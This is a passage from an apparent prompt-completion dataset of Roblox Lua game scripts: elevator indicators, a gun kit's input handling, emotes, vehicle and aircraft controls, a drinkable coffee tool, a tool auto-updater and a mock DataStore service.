Elevator:WaitForChild(\"Velocity\").Value ~= 0 then\n\t\t\tif Elevator:WaitForChild(\"Direction\").Value == 1 then\n\t\t\t\tThis.Display.ARW1.UP.Transparency = 0\n\t\t\t\tThis.Display.ARW1.MID.Transparency = 0\n\t\t\t\tThis.Display.ARW1.DOWN.Transparency = 1\n\t\t\telse\n\t\t\t\tThis.Display.ARW1.UP.Transparency = 1\n\t\t\t\tThis.Display.ARW1.MID.Transparency = 0\n\t\t\t\tThis.Display.ARW1.DOWN.Transparency = 0\n\t\t\tend\n\t\telseif Elevator:WaitForChild(\"Velocity\").Value == 0 then\n\t\t\tif Elevator:WaitForChild(\"Direction\").Value == 1 then\n\t\t\t\twait(0.5)\n\t\t\t\tThis.Display.ARW1.UP.Transparency = 1\n\t\t\t\tThis.Display.ARW1.MID.Transparency = 1\n\t\t\t\tThis.Display.ARW1.DOWN.Transparency = 1\n\t\t\t\twait(0.5)\n\t\t\t\tThis.Display.ARW1.UP.Transparency = 0\n\t\t\t\tThis.Display.ARW1.MID.Transparency = 0\n\t\t\t\tThis.Display.ARW1.DOWN.Transparency = 1\n\t\t\telse\n\t\t\t\twait(0.5)\n\t\t\t\tThis.Display.ARW1.UP.Transparency = 1\n\t\t\t\tThis.Display.ARW1.MID.Transparency = 1\n\t\t\t\tThis.Display.ARW1.DOWN.Transparency = 1\n\t\t\t\twait(0.5)\n\t\t\t\tThis.Display.ARW1.UP.Transparency = 1\n\t\t\t\tThis.Display.ARW1.MID.Transparency = 0\n\t\t\t\tThis.Display.ARW1.DOWN.Transparency = 0\n\t\t\tend\n\t\tend\n\telse\n\t\tThis.Display.ARW1.UP.Transparency = 1\n\t\tThis.Display.ARW1.MID.Transparency = 1\n\t\tThis.Display.ARW1.DOWN.Transparency = 1\n\tend\nend\n"} +{"prompt": "--// Input Connections", "completion": "\nL_104_.InputBegan:connect(function(L_308_arg1, L_309_arg2)\n\tif not L_309_arg2 and L_15_ then\n\t\tif L_308_arg1.UserInputType == (Enum.UserInputType.MouseButton2 or L_308_arg1.KeyCode == Enum.KeyCode.ButtonL2) and not L_76_ and not L_75_ and not L_74_ and L_24_.CanAim and not L_71_ and L_15_ and not L_63_ and not L_64_ then\n\t\t\tif not L_61_ then\n\t\t\t\tif not L_62_ then\n\t\t\t\t\tL_3_.Humanoid.WalkSpeed = 10\n\t\t\t\t\tL_152_ = 10\n\t\t\t\t\tL_151_ = 0.008\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude <= 2 then\n\t\t\t\t\tL_94_ = L_50_\n\t\t\t\tend\n\t\t\t\tL_130_.target = L_53_.CFrame:toObjectSpace(L_44_.CFrame).p\n\t\t\t\tL_112_:FireServer(true)\t\t\t\t\n\t\t\t\tL_61_ = true\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_308_arg1.KeyCode == Enum.KeyCode.E and L_15_ and not L_77_ and not L_78_ then\n\t\t\tL_77_ = true\n\t\t\tL_79_ = false\n\t\t\tL_78_ = true\n\t\t\tLeanRight()\n\t\tend\n\t\t\n\t\tif L_308_arg1.KeyCode == Enum.KeyCode.Q and L_15_ and not L_77_ and not L_79_ then\n\t\t\tL_77_ = true\n\t\t\tL_78_ = false\n\t\t\tL_79_ = true\n\t\t\tLeanLeft()\n\t\tend\n\t\t\n\t\tif L_308_arg1.KeyCode == L_24_.AlternateAimKey and not L_76_ and not L_75_ and not L_74_ and L_24_.CanAim and not L_71_ and L_15_ and not L_63_ and not L_64_ then\n\t\t\tif not L_61_ then\n\t\t\t\tif not L_62_ then\n\t\t\t\t\tL_3_.Humanoid.WalkSpeed = 10\n\t\t\t\t\tL_152_ = 10\n\t\t\t\t\tL_151_ = 0.008\n\t\t\t\tend\n\t\t\t\tL_94_ = L_50_\n\t\t\t\tL_130_.target = L_53_.CFrame:toObjectSpace(L_44_.CFrame).p\n\t\t\t\tL_112_:FireServer(true)\n\t\t\t\tL_61_ = true\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_308_arg1.UserInputType == (Enum.UserInputType.MouseButton1 or L_308_arg1.KeyCode == Enum.KeyCode.ButtonR2) and not L_76_ and not L_74_ and L_66_ and L_15_ and not L_63_ and not L_64_ and not L_71_ then\n\t\t\tL_65_ = true\n\t\t\tif not Shooting and L_15_ and not L_80_ then\n\t\t\t\tif L_100_ > 0 then\t\t\t\n\t\t\t\t\tShoot()\n\t\t\t\tend\n\t\t\telseif not Shooting and L_15_ and L_80_ then\n\t\t\t\tif L_102_ > 0 then\n\t\t\t\t\tShoot()\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_308_arg1.KeyCode == (L_24_.LaserKey or L_308_arg1.KeyCode == Enum.KeyCode.DPadRight) and L_15_ and L_24_.LaserAttached then\n\t\t\tlocal L_310_ = L_1_:FindFirstChild(\"LaserLight\")\n\t\t\tL_119_.KeyDown[1].Plugin()\n\t\tend;\n\t\t\n\t\tif L_308_arg1.KeyCode == (L_24_.LightKey or L_308_arg1.KeyCode == Enum.KeyCode.ButtonR3) and L_15_ and L_24_.LightAttached then\n\t\t\tlocal L_311_ = L_1_:FindFirstChild(\"FlashLight\"):FindFirstChild('Light')\n\t\t\tlocal L_312_ = false\n\t\t\tL_311_.Enabled = not L_311_.Enabled\n\t\tend;\n\t\t\n\t\tif L_15_ and L_308_arg1.KeyCode == (L_24_.FireSelectKey or L_308_arg1.KeyCode == Enum.KeyCode.DPadUp) and not L_76_ and not L_67_ and not L_75_ then\n\t\t\tL_67_ = true\n\t\t\tif L_89_ == 1 then\n\t\t\t\tif Shooting then\n\t\t\t\t\tShooting = false\n\t\t\t\tend\n\t\t\t\tif L_24_.AutoEnabled then\n\t\t\t\t\tL_89_ = 2\n\t\t\t\t\tL_80_ = false\n\t\t\t\t\tL_66_ = L_81_\n\t\t\t\telseif not L_24_.AutoEnabled and L_24_.BurstEnabled then\n\t\t\t\t\tL_89_ = 3\n\t\t\t\t\tL_80_ = false\n\t\t\t\t\tL_66_ = L_81_\n\t\t\t\telseif not L_24_.AutoEnabled and not L_24_.BurstEnabled and L_24_.BoltAction then\n\t\t\t\t\tL_89_ = 4\n\t\t\t\t\tL_80_ = false\n\t\t\t\t\tL_66_ = L_81_\n\t\t\t\telseif not L_24_.AutoEnabled and not L_24_.BurstEnabled and not L_24_.BoltAction and L_24_.ExplosiveEnabled then\n\t\t\t\t\tL_89_ = 6\n\t\t\t\t\tL_80_ = true\n\t\t\t\t\tL_81_ = L_66_\n\t\t\t\t\tL_66_ = L_82_\n\t\t\t\telseif not L_24_.AutoEnabled and not L_24_.BurstEnabled and not L_24_.BoltAction and not L_24_.ExplosiveEnabled then\n\t\t\t\t\tL_89_ = 1\n\t\t\t\t\tL_80_ = false\n\t\t\t\t\tL_66_ = L_81_\n\t\t\t\tend\n\t\t\telseif L_89_ == 2 then\n\t\t\t\tif Shooting then\n\t\t\t\t\tShooting = false\n\t\t\t\tend\n\t\t\t\tif L_24_.BurstEnabled then\n\t\t\t\t\tL_89_ = 3\n\t\t\t\t\tL_80_ = false\n\t\t\t\t\tL_66_ = L_81_\n\t\t\t\telseif not L_24_.BurstEnabled and L_24_.BoltAction then\n\t\t\t\t\tL_89_ = 4\n\t\t\t\t\tL_80_ = false\n\t\t\t\t\tL_66_ = L_81_\n\t\t\t\telseif not L_24_.BurstEnabled and not L_24_.BoltAction and L_24_.ExplosiveEnabled then\n\t\t\t\t\tL_89_ = 6\n\t\t\t\t\tL_80_ = true\n\t\t\t\t\tL_81_ = L_66_\n\t\t\t\t\tL_66_ = L_82_\n\t\t\t\telseif not L_24_.BurstEnabled and not L_24_.BoltAction and not L_24_.ExplosiveEnabled and L_24_.SemiEnabled then\n\t\t\t\t\tL_89_ = 1\n\t\t\t\t\tL_80_ = false\n\t\t\t\t\tL_66_ = L_81_\n\t\t\t\telseif not L_24_.BurstEnabled and not L_24_.BoltAction and not L_24_.SemiEnabled then\n\t\t\t\t\tL_89_ = 2\n\t\t\t\t\tL_80_ = false\n\t\t\t\t\tL_66_ = L_81_\n\t\t\t\tend\n\t\t\telseif L_89_ == 3 then\n\t\t\t\tif Shooting then\n\t\t\t\t\tShooting = false\n\t\t\t\tend\n\t\t\t\tif L_24_.BoltAction then\n\t\t\t\t\tL_89_ = 4\n\t\t\t\t\tL_80_ = false\n\t\t\t\t\tL_66_ = L_81_\n\t\t\t\telseif not L_24_.BoltAction and L_24_.ExplosiveEnabled then\n\t\t\t\t\tL_89_ = 6\n\t\t\t\t\tL_80_ = true\n\t\t\t\t\tL_81_ = L_66_\n\t\t\t\t\tL_66_ = L_82_\n\t\t\t\telseif not L_24_.BoltAction and not L_24_.ExplosiveEnabled and L_24_.SemiEnabled then\n\t\t\t\t\tL_89_ = 1\n\t\t\t\t\tL_80_ = false\n\t\t\t\t\tL_66_ = L_81_\n\t\t\t\telseif not L_24_.BoltAction and not L_24_.SemiEnabled and L_24_.AutoEnabled then\n\t\t\t\t\tL_89_ = 2\n\t\t\t\t\tL_80_ = false\n\t\t\t\t\tL_66_ = L_81_\n\t\t\t\telseif not L_24_.BoltAction and not L_24_.SemiEnabled and not L_24_.AutoEnabled then\n\t\t\t\t\tL_89_ = 3\n\t\t\t\t\tL_80_ = false\n\t\t\t\t\tL_66_ = L_81_\n\t\t\t\tend\n\t\t\telseif L_89_ == 4 then\n\t\t\t\tif Shooting then\n\t\t\t\t\tShooting = false\n\t\t\t\tend\n\t\t\t\tif L_24_.ExplosiveEnabled then\n\t\t\t\t\tL_89_ = 6\n\t\t\t\t\tL_80_ = true\n\t\t\t\t\tL_81_ = L_66_\n\t\t\t\t\tL_66_ = L_82_\n\t\t\t\telseif not L_24_.ExplosiveEnabled and L_24_.SemiEnabled then\n\t\t\t\t\tL_89_ = 1\n\t\t\t\t\tL_80_ = false\n\t\t\t\t\tL_66_ = L_81_\n\t\t\t\telseif not L_24_.SemiEnabled and L_24_.AutoEnabled then\n\t\t\t\t\tL_89_ = 2\n\t\t\t\t\tL_80_ = false\n\t\t\t\t\tL_66_ = L_81_\n\t\t\t\telseif not L_24_.SemiEnabled and not L_24_.AutoEnabled and L_24_.BurstEnabled then\n\t\t\t\t\tL_89_ = 3\n\t\t\t\t\tL_80_ = false\n\t\t\t\t\tL_66_ = L_81_\n\t\t\t\telseif not L_24_.SemiEnabled and not L_24_.AutoEnabled and not L_24_.BurstEnabled then\n\t\t\t\t\tL_89_ = 4\n\t\t\t\t\tL_80_ = false\n\t\t\t\t\tL_66_ = L_81_\n\t\t\t\tend\n\t\t\telseif L_89_ == 6 then\n\t\t\t\tif Shooting then\n\t\t\t\t\tShooting = false\n\t\t\t\tend\n\t\t\t\tL_82_ = L_66_\n\t\t\t\tif L_24_.SemiEnabled then\n\t\t\t\t\tL_89_ = 1\n\t\t\t\t\tL_80_ = false\n\t\t\t\t\tL_66_ = L_81_\n\t\t\t\telseif not L_24_.SemiEnabled and L_24_.AutoEnabled then\n\t\t\t\t\tL_89_ = 2\n\t\t\t\t\tL_80_ = false\n\t\t\t\t\tL_66_ = L_81_\n\t\t\t\telseif not L_24_.SemiEnabled and not L_24_.AutoEnabled and L_24_.BurstEnabled then\n\t\t\t\t\tL_89_ = 3\n\t\t\t\t\tL_80_ = false\n\t\t\t\t\tL_66_ = L_81_\n\t\t\t\telseif not L_24_.SemiEnabled and not L_24_.AutoEnabled and not L_24_.BurstEnabled and L_24_.BoltAction then\n\t\t\t\t\tL_89_ = 4\n\t\t\t\t\tL_80_ = false\n\t\t\t\t\tL_66_ = L_81_\n\t\t\t\telseif not L_24_.SemiEnabled and not L_24_.AutoEnabled and not L_24_.BurstEnabled and not L_24_.BoltAction then\n\t\t\t\t\tL_89_ = 6\n\t\t\t\t\tL_80_ = true\n\t\t\t\t\tL_81_ = L_66_\n\t\t\t\t\tL_66_ = L_82_\n\t\t\t\tend\n\t\t\tend\n\t\t\tUpdateAmmo()\n\t\t\tFireModeAnim()\n\t\t\tIdleAnim()\n\t\t\tL_67_ = false\n\t\tend;\n\t\t\n\t\tif L_308_arg1.KeyCode == (Enum.KeyCode.F or L_308_arg1.KeyCode == Enum.KeyCode.DPadDown) and not L_76_ and not L_74_ and not L_75_ and not L_64_ and not L_67_ and not L_61_ and not L_63_ and not Shooting and not L_73_ then\t\t\t\n\t\t\tif not L_70_ and not L_71_ then\n\t\t\t\tL_71_ = true\n\t\t\t\tShooting = false\n\t\t\t\tL_66_ = false\n\t\t\t\tL_132_ = time()\n\t\t\t\tdelay(0.6, function()\n\t\t\t\t\tif L_100_ ~= L_24_.Ammo and L_100_ > 0 then\n\t\t\t\t\t\tCreateShell()\n\t\t\t\t\tend\n\t\t\t\tend)\t\n\t\t\t\tBoltBackAnim()\n\t\t\t\tL_70_ = true\n\t\t\telseif L_70_ and L_71_ then\n\t\t\t\tBoltForwardAnim()\n\t\t\t\tShooting = false\n\t\t\t\tL_66_ = true\n\t\t\t\tif L_100_ ~= L_24_.Ammo and L_100_ > 0 then\n\t\t\t\t\tL_100_ = L_100_ - 1\n\t\t\t\telseif L_100_ >= L_24_.Ammo then\n\t\t\t\t\tL_66_ = true\n\t\t\t\tend\t\t\t\t\t\t\n\t\t\t\tL_70_ = false\n\t\t\t\tL_71_ = false\n\t\t\t\tIdleAnim()\n\t\t\t\tL_72_ = false\n\t\t\tend\n\t\t\tUpdateAmmo()\n\t\tend;\n\t\t\n\t\tif L_308_arg1.KeyCode == (Enum.KeyCode.LeftShift or L_308_arg1.KeyCode == Enum.KeyCode.ButtonL3) and not L_75_ and not L_74_ and L_143_ then\n\t\t\tL_68_ = true\n\t\t\tif L_15_ and not L_67_ and not L_64_ and L_68_ and not L_62_ and not L_71_ then\n\t\t\t\tShooting = false\n\t\t\t\tL_61_ = false\n\t\t\t\tL_64_ = true\n\t\t\t\t\t\t\n\t\t\t\tdelay(0, function()\n\t\t\t\t\tif L_64_ and not L_63_ then\n\t\t\t\t\t\tL_61_ = false\n\t\t\t\t\t\tL_69_ = true\n\t\t\t\t\tend\n\t\t\t\tend)\n\t\t\t\tL_94_ = 80\n\t\t\t\tL_3_.Humanoid.WalkSpeed = L_24_.SprintSpeed\n\t\t\t\tL_152_ = L_24_.SprintSpeed\n\t\t\t\tL_151_ = 0.4\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_308_arg1.KeyCode == (Enum.KeyCode.R or L_308_arg1.KeyCode == Enum.KeyCode.ButtonX) and not L_76_ and not L_75_ and not L_74_ and L_15_ and not L_63_ and not L_61_ and not Shooting and not L_64_ and not L_71_ then\t\t\n\t\t\tif not L_80_ then\t\t\t\n\t\t\t\tif L_101_ > 0 and L_100_ < L_24_.Ammo then\n\t\t\t\t\tShooting = false\n\t\t\t\t\tL_63_ = true\n\t\t\t\t\t\n\t\t\t\t\tfor L_313_forvar1, L_314_forvar2 in pairs(game.Players:GetChildren()) do\n\t\t\t\t\t\tif L_314_forvar2 and L_314_forvar2 ~= L_2_ and L_314_forvar2.TeamColor == L_2_.TeamColor then\n\t\t\t\t\t\t\tif (L_314_forvar2.Character.HumanoidRootPart.Position - L_3_.HumanoidRootPart.Position).magnitude <= 150 then\n\t\t\t\t\t\t\t\tif L_7_:FindFirstChild('AHH') and not L_7_.AHH.IsPlaying then\n\t\t\t\t\t\t\t\t\tL_116_:FireServer(L_7_.AHH, L_97_[math.random(0, 23)])\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tReloadAnim()\n\t\t\t\t\tif L_100_ <= 0 then\n\t\t\t\t\t\tif not L_24_.CanSlideLock then\n\t\t\t\t\t\t\tBoltBackAnim()\n\t\t\t\t\t\t\tBoltForwardAnim()\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tIdleAnim()\n\t\t\t\t\tL_66_ = true\n\t\t\t\t\t\n\t\t\t\t\tif L_100_ <= 0 then\n\t\t\t\t\t\tif (L_101_ - (L_24_.Ammo - L_100_)) < 0 then\n\t\t\t\t\t\t\tL_100_ = L_100_ + L_101_\n\t\t\t\t\t\t\tL_101_ = 0\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tL_101_ = L_101_ - (L_24_.Ammo - L_100_)\n\t\t\t\t\t\t\tL_100_ = L_24_.Ammo\n\t\t\t\t\t\tend\n\t\t\t\t\telseif L_100_ > 0 then\n\t\t\t\t\t\tif (L_101_ - (L_24_.Ammo - L_100_)) < 0 then\n\t\t\t\t\t\t\tL_100_ = L_100_ + L_101_ + 1\n\t\t\t\t\t\t\tL_101_ = 0\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tL_101_ = L_101_ - (L_24_.Ammo - L_100_)\n\t\t\t\t\t\t\tL_100_ = L_24_.Ammo + 1\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\n\t\t\t\t\tL_63_ = false\n\t\t\t\t\tif not L_72_ then\n\t\t\t\t\t\tL_66_ = true\n\t\t\t\t\tend\n\t\t\t\tend;\n\t\t\telseif L_80_ then\n\t\t\t\tif L_102_ > 0 then\n\t\t\t\t\tShooting = false\n\t\t\t\t\tL_63_ = true\n\t\t\t\t\tnadeReload()\n\t\t\t\t\tIdleAnim()\n\t\t\t\t\tL_63_ = false\n\t\t\t\t\tL_66_ = true\n\t\t\t\tend\n\t\t\tend;\n\t\t\tUpdateAmmo()\n\t\tend;\n\t\t\n\t\tif L_308_arg1.KeyCode == Enum.KeyCode.RightBracket and L_61_ then\n\t\t\tif (L_51_ < 1) then\n\t\t\t\tL_51_ = L_51_ + L_24_.SensitivityIncrement\n\t\t\tend\n\t\tend\n\t\t\n\t\tif L_308_arg1.KeyCode == Enum.KeyCode.LeftBracket and L_61_ then\n\t\t\tif (L_51_ > 0.1) then\n\t\t\t\tL_51_ = L_51_ - L_24_.SensitivityIncrement\n\t\t\tend\n\t\tend\n\t\t\n\t\tif L_308_arg1.KeyCode == (Enum.KeyCode.T or L_308_arg1.KeyCode == Enum.KeyCode.DPadLeft) and L_1_:FindFirstChild(\"AimPart2\") then\n\t\t\tif not L_83_ then\n\t\t\t\tL_53_ = L_1_:WaitForChild(\"AimPart2\")\n\t\t\t\tL_50_ = L_24_.CycleAimZoom\n\t\t\t\tif L_61_ then\n\t\t\t\t\tL_94_ = L_24_.CycleAimZoom\n\t\t\t\tend\n\t\t\t\tL_83_ = true\n\t\t\telse\n\t\t\t\tL_53_ = L_1_:FindFirstChild(\"AimPart\")\n\t\t\t\tL_50_ = L_24_.AimZoom\n\t\t\t\tif L_61_ then\n\t\t\t\t\tL_94_ = L_24_.AimZoom\n\t\t\t\tend\n\t\t\t\tL_83_ = false\n\t\t\tend;\n\t\tend;\n\t\t\n\t\tif L_308_arg1.KeyCode == L_24_.InspectionKey and not L_76_ and not L_75_ then\n\t\t\tif not L_74_ then\n\t\t\t\tL_74_ = true\n\t\t\t\tInspectAnim()\n\t\t\t\tIdleAnim()\n\t\t\t\tL_74_ = false\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_308_arg1.KeyCode == L_24_.AttachmentKey and not L_76_ and not L_74_ then\n\t\t\tif L_15_ then\n\t\t\t\tif not L_75_ then\n\t\t\t\t\tL_64_ = false\n\t\t\t\t\tL_61_ = false\n\t\t\t\t\tL_66_ = false\n\t\t\t\t\tL_75_ = true\n\t\t\t\t\t\n\t\t\t\t\tAttachAnim()\n\t\t\t\telseif L_75_ then\n\t\t\t\t\tL_64_ = false\n\t\t\t\t\tL_61_ = false\n\t\t\t\t\tL_66_ = true\n\t\t\t\t\tL_75_ = false\n\t\t\t\t\t\n\t\t\t\t\tIdleAnim()\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\t\t\t\n\t\tif L_308_arg1.KeyCode == Enum.KeyCode.P and not L_74_ and not L_75_ and not L_61_ and not L_64_ and not L_62_ and not L_63_ and not Recoiling and not L_64_ then\n\t\t\tif not L_76_ then\n\t\t\t\tL_76_ = true\n\t\t\t\tL_14_:Create(L_45_, TweenInfo.new(0.2), {\n\t\t\t\t\tC1 = L_24_.SprintPos\n\t\t\t\t}):Play()\n\t\t\t\twait(0.2)\n\t\t\t\tL_109_:FireServer(\"Patrol\", L_24_.SprintPos)\n\t\t\telse\n\t\t\t\tL_76_ = false\n\t\t\t\tL_14_:Create(L_45_, TweenInfo.new(0.2), {\n\t\t\t\t\tC1 = CFrame.new()\n\t\t\t\t}):Play()\n\t\t\t\twait(0.2)\n\t\t\t\tL_109_:FireServer(\"Unpatrol\")\n\t\t\tend\n\t\tend;\n\tend\nend)\n\nL_104_.InputEnded:connect(function(L_315_arg1, L_316_arg2)\n\tif not L_316_arg2 and L_15_ then\n\t\tif L_315_arg1.UserInputType == (Enum.UserInputType.MouseButton2 or L_315_arg1.KeyCode == Enum.KeyCode.ButtonL2) and not L_74_ and L_24_.CanAim and not L_75_ then\n\t\t\tif L_61_ then\n\t\t\t\tif not L_62_ then\n\t\t\t\t\tL_3_.Humanoid.WalkSpeed = 16\n\t\t\t\t\tL_152_ = 17\n\t\t\t\t\tL_151_ = .25\n\t\t\t\tend\t\n\t\t\t\tL_94_ = 70\n\t\t\t\tL_130_.target = Vector3.new()\n\t\t\t\tL_112_:FireServer(false)\n\t\t\t\tL_61_ = false\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_315_arg1.KeyCode == Enum.KeyCode.E and L_15_ and L_77_ then\n\t\t\tUnlean()\t\t\n\t\t\tL_77_ = false\n\t\t\tL_79_ = false\n\t\t\tL_78_ = false\n\t\tend\n\t\t\n\t\tif L_315_arg1.KeyCode == Enum.KeyCode.Q and L_15_ and L_77_ then\n\t\t\tUnlean()\t\t\n\t\t\tL_77_ = false\n\t\t\tL_79_ = false\n\t\t\tL_78_ = false\n\t\tend\n\t\t\n\t\tif L_315_arg1.KeyCode == L_24_.AlternateAimKey and not L_74_ and L_24_.CanAim then\n\t\t\tif L_61_ then\n\t\t\t\tif not L_62_ then\n\t\t\t\t\tL_3_.Humanoid.WalkSpeed = 16\n\t\t\t\t\tL_152_ = 17\n\t\t\t\t\tL_151_ = .25\n\t\t\t\tend\t\n\t\t\t\tL_94_ = 70\n\t\t\t\tL_130_.target = Vector3.new()\n\t\t\t\tL_112_:FireServer(false)\n\t\t\t\tL_61_ = false\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_315_arg1.UserInputType == (Enum.UserInputType.MouseButton1 or L_315_arg1.KeyCode == Enum.KeyCode.ButtonR2) and not L_74_ then\n\t\t\tL_65_ = false\t\t\t\t\n\t\t\tif Shooting then\n\t\t\t\tShooting = false\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_315_arg1.KeyCode == Enum.KeyCode.E and L_15_ then\n\t\t\tlocal L_317_ = L_42_:WaitForChild('GameGui')\n\t\t\tif L_16_ then\n\t\t\t\tL_317_:WaitForChild('AmmoFrame').Visible = false\n\t\t\t\tL_16_ = false\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_315_arg1.KeyCode == (Enum.KeyCode.LeftShift or L_315_arg1.KeyCode == Enum.KeyCode.ButtonL3) and not L_74_ and not L_67_ and not L_62_ then -- SPRINT\n\t\t\tL_68_ = false\n\t\t\tif L_64_ and not L_61_ and not Shooting and not L_68_ then\n\t\t\t\tL_64_ = false\n\t\t\t\tL_69_ = false\n\t\t\t\tL_94_ = 70\n\t\t\t\n\t\t\t\tL_3_.Humanoid.WalkSpeed = 16\t\n\t\t\t\tL_152_ = 17\n\t\t\t\tL_151_ = .25\t\t\t\n\t\t\tend\n\t\tend;\n\tend\nend)\n\nL_104_.InputChanged:connect(function(L_318_arg1, L_319_arg2)\n\tif not L_319_arg2 and L_15_ and L_24_.FirstPersonOnly and L_61_ then\n\t\tif L_318_arg1.UserInputType == Enum.UserInputType.MouseWheel then\n\t\t\tif L_318_arg1.Position.Z == 1 and (L_51_ < 1) then\n\t\t\t\tL_51_ = L_51_ + L_24_.SensitivityIncrement\n\t\t\telseif L_318_arg1.Position.Z == -1 and (L_51_ > 0.1) then\n\t\t\t\tL_51_ = L_51_ - L_24_.SensitivityIncrement\n\t\t\tend\n\t\tend\n\tend\nend)\n\nL_104_.InputChanged:connect(function(L_320_arg1, L_321_arg2)\n\tif not L_321_arg2 and L_15_ then\n\t\tlocal L_322_, L_323_ = workspace:FindPartOnRayWithIgnoreList(Ray.new(L_53_.CFrame.p, (L_53_.CFrame.lookVector).unit * 10000), IgnoreList);\n\t\tif L_322_ then\n\t\t\tlocal L_324_ = (L_323_ - L_6_.Position).magnitude\n\t\t\tL_33_.Text = math.ceil(L_324_) .. ' m'\n\t\tend\n\tend\nend)\n"} +{"prompt": "-- setup emote chat hook", "completion": "\ngame:GetService(\"Players\").LocalPlayer.Chatted:connect(function(msg)\n\tlocal emote = \"\"\n\tif (string.sub(msg, 1, 3) == \"/e \") then\n\t\temote = string.sub(msg, 4)\n\telseif (string.sub(msg, 1, 7) == \"/emote \") then\n\t\temote = string.sub(msg, 8)\n\tend\n\n\tif (pose == \"Standing\" and emoteNames[emote] ~= nil) then\n\t\tplayAnimation(emote, EMOTE_TRANSITION_TIME, Humanoid)\n\tend\nend)\n"} +{"prompt": "------------------------------------------------------------------------------------------------------------------", "completion": "\nlocal Engine = script.Template:Clone()\nEngine.Parent = GUI.Controls\nEngine.Text = \"ENGINE: \"..Settings.EngineKey.Name\n\nlocal Throttle = script.Template:Clone()\nThrottle.Parent = GUI.Controls\nThrottle.Text = \"THROTTLE: \"..Settings.ThrottleUp.Name..\"/\"..Settings.ThrottleDown.Name\nThrottle.TextScaled = true\n\nlocal Yaw = script.Template:Clone()\nYaw.Parent = GUI.Controls\nYaw.Text = \"YAW: \"..Settings.YawLeft.Name..\"/\"..Settings.YawRight.Name\n\nlocal Roll = script.Template:Clone()\nRoll.Parent = GUI.Controls\nRoll.Text = \"ROLL: \"..Settings.RollLeft.Name..\"/\"..Settings.RollRight.Name\n\nlocal Pitch = script.Template:Clone()\nPitch.Parent = GUI.Controls\nPitch.Text = \"PITCH: \"..Settings.PitchUp.Name..\"/\"..Settings.PitchDown.Name\n"} +{"prompt": "--[[ http://coffeescript.org/ ]]", "completion": " --\nlocal coffee = script.Parent;\nlocal drinking = false\n\ncoffee.Equipped:connect(function()\n\tcoffee.Handle.OpenSound:Play()\nend)\n\ncoffee.Activated:connect(function()\n\tif drinking then\n\t\treturn\n\tend\n\n\tdrinking = true\n\tcoffee.GripForward = Vector3.new(0,-1,0)\n\tcoffee.GripPos = Vector3.new(1.5,.85,-.15)\n\tcoffee.GripRight = Vector3.new(1,0,0)\n\tcoffee.GripUp = Vector3.new(0,0,1)\n\n\tcoffee.Handle.DrinkSound:Play()\n\n\twait(1)\n\t\n\tcoffee.Parent.Humanoid.Health = coffee.Parent.Humanoid.Health + 100\n\trestPos()\n\n\tdrinking = false\nend)\n\ncoffee.Unequipped:connect(function()\n\trestPos()\n\tcoffee.Handle.DrinkSound:Stop()\n\tdrinking = false\nend)\n\nfunction restPos()\n\tcoffee.GripForward = Vector3.new(0,-1,0)\n\tcoffee.GripPos = Vector3.new(0,0.15,-0.3)\n\tcoffee.GripRight = Vector3.new(-1,0,0)\n\tcoffee.GripUp = Vector3.new(0,0,1)\nend\n"} +{"prompt": "--Interpret input", "completion": "\nlocal function getInputValues()\n\tif UserInputService:GetLastInputType() ~= Enum.UserInputType.Touch then\n\t\t---Let the control module handle all none-touch controls\n\t\tscript.Steering.Value = SteerLeftValue - SteerRightValue\n\t\tscript.Throttle.Value = ThrottleValue - BrakeValue\n\t\tscript.HandBrake.Value = HandBrakeValue\n\telse --The vehicle gui handles all the touch controls\n\t\tscript.Throttle.Value = VehicleGui.throttleInput\n\t\tscript.Steering.Value = VehicleGui.steeringInput\n\t\tscript.HandBrake.Value = VehicleGui.handBrakeInput\n\tend\nend\n"} +{"prompt": "-- Setup loop", "completion": "\ncoroutine.wrap(function()\n\twhile true do\n\t\twait(60/main.commandsExecutedDivider)\n\t\tmain.commandsExecuted = {}\n\tend\nend)()\n\n\n"} +{"prompt": "----- Private variables -----", "completion": "\n\nlocal FreeRunnerThread = nil\n"} +{"prompt": "-- Get latest copy of tool", "completion": "\nlocal NewTool = GetLatestTool();\nif NewTool then\n\n\t-- Prevent update attempt loops since fetched version is now cached\n\tNewTool.AutoUpdate.Value = false;\n\n\t-- Cancel replacing current tool if fetched version is the same\n\tif NewTool.Version.Value == Tool.Version.Value then\n\t\treturn;\n\tend;\n\n\t-- Detach update script from tool and save old tool parent\n\tscript.Parent = nil;\n\tlocal ToolParent = Tool.Parent;\n\n\t-- Remove current tool (delayed to prevent parenting conflicts)\n\twait(0.05);\n\tTool.Parent = nil;\n\n\t-- Remove the tool again if anything attempts to reparent it\n\tTool.Changed:Connect(function (Property)\n\t\tif Property == 'Parent' and Tool.Parent then\n\t\t\twait(0.05);\n\t\t\tTool.Parent = nil;\n\t\tend;\n\tend);\n\n\t-- Add the new tool\n\tNewTool.Parent = ToolParent;\n\nend;\n"} +{"prompt": "-----------------------------------------------------------------------------------------------------------\n-- Metatable:", "completion": "\n\nMT.__metatable = true\nMT.__index = function(_tbl, index)\n\treturn (API[index] or realDataStoreService[index])\nend\nMT.__newindex = function()\n\terror(\"Cannot edit MockDataStoreService\")\nend\nsetmetatable(DataStoreService, MT)\n"} +{"prompt": "--\t\tprint(\"Keyframe : \".. frameName)\t", "completion": "\n\t\tplayToolAnimation(toolAnimName, 0.0, Humanoid)\n\tend\nend\n\n\nfunction playToolAnimation(animName, transitionTime, humanoid)\t \n\t\t\n\t\tlocal roll = math.random(1, animTable[animName].totalWeight) \n\t\tlocal origRoll = roll\n\t\tlocal idx 